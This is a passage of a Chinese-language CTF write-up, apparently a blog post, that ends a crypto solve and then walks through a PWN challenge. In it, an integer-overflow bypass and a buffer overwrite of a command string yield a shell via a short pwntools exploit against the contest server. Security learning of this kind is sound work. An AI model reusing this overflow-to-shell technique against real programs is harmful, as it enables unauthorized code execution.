full_flag = b""for l, r in cipher: o_l, o_r = decrypt_block(l, r) full_flag += struct.pack("<II", o_l, o_r)
print(f"Flag: {full_flag.decode('ascii', errors='ignore')}")得到flag:SHCTF{Have1ng_a_go0d_t1me_O_o_Hu!}
#PWN:
你就是我的唯一:
Challenge Info - [阶段1] int_overflow
基本不会pwn,只会hyw,溢出之类的简单。
题目是一个整数溢出,通过整数溢出并进一步触发栈溢出。
main 函数中通过一个循环读取两次输入:
使用 scanf("%d") 读取,并检查输入是否 。如果输入大于 9,程序直接退出。
由于检查使用的是有符号比较(jle),可以通过输入负数绕过限制。
变量 var_11 在栈上只有8字节,范围为。
通过输入 -156 可以触发 8 位整数溢出,从而进入 backdoor。
backdoor 将传入的参数(即溢出后的 100)减去 (80),得到 read 函数的读取长度为20字节。
缓冲区 buf 位于 [rbp-1Dh]。命令字符串 command 位于 [rbp-13h],初始值为 echo hello。
从 buf 到 command 的距离为 字节。通过 read 读入的 20 字节数据可以轻松覆盖掉后面的 command 变量。
思路:
- 在
main函数中先后输入-156和0。此时var_11经过 截断后变为 (即 100),成功绕过,后调用backdoor函数。 - 利用
backdoor中的read函数,构造10字节填充 + "/bin/sh\x00"的 Payload。程序后续调用system(command)时,实际执行的是system("/bin/sh"),从而得到shell。
EXP:
Python
from pwn import *
p = remote('challenge.shc.tf', 端口)
log.info("Sending integers to bypass logic check...")p.sendlineafter(b"plz input number1", b"-156")p.sendlineafter(b"plz input number2", b"0")
log.info("覆盖中...")payload = b"A" * 10 + b"/bin/sh\x00"
p.sendlineafter(b"what is your name", payload)
p.success("Exploit sent! Shell popping...")p.interactive()拿到shell执行ls;cat flag;
得到 Flag:SHCTF{98af0823-ea1f-4645-99d5-c242c825973c}
- 版权声明:本文由 余林阳 创作,转载请注明出处。
喜欢这篇文章吗?
点击右侧按钮为文章点赞,让更多人看到!
在下余林阳